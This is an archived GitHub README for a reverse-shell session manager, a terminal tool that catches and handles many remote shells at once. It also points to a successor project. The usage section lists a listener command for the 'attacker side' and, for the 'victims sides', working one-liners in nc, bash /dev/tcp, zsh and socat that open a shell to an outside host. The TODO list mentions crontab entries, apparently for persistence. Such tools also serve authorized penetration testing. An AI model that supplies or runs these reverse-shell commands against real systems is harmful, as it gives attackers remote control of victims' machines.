The Wayback Machine - https://web.archive.org/web/20230523092736/https://github.com/WangYihang/Reverse-Shell-Manager
Skip to content

WangYihang/Reverse-Shell-Manager

master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Code

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
log
 
 
 
 
 
 
 
 
 
 
 
 

Reverse Shell Manager

A multiple reverse shell sessions/clients manager via terminal

This project will not continue develope anymore.
The next generation of this project (Platypus) has been released at https://github.com/WangYihang/Platypus

Platypus

  • More stable
  • More features
  • Upgrade common reverse shell session to full interactive seession
  • Reverse shell as a Service
  • RESTful API
  • ...

Attacker side

python Reverse-Shell-Manager.py 0.0.0.0 4444

Victims sides

Linux

nc -e /bin/bash 1.3.3.7 4444
bash -c 'bash -i >/dev/tcp/1.3.3.7/4444 0>&1'
zsh -c 'zmodload zsh/net/tcp && ztcp 1.3.3.7 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1.3.3.7:4444  

Windows

nc.exe -e /bin/bash 1.3.3.7 4444

Simple Example Video

asciicast

YouTube Example

https://youtu.be/AoS-q1MGw30

TODO

  • Add an item to crontab
  • Delete an item from crontab
  • create a class to hold Master
  • select/epoll

Bugs

  • A victim is connected but didn't add to online list
  • socket stuck on rece()

LICENSE

THE DRINKWARE LICENSE

<wangyihanger@gmail.com> wrote this file. As long as 
you retain this notice you can do whatever you want 
with this stuff. If we meet some day, and you think 
this stuff is worth it, you can buy me the following
drink(s) in return.

Red Bull
JDB
Coffee
Sprite
Cola
Harbin Beer
etc

Wang Yihang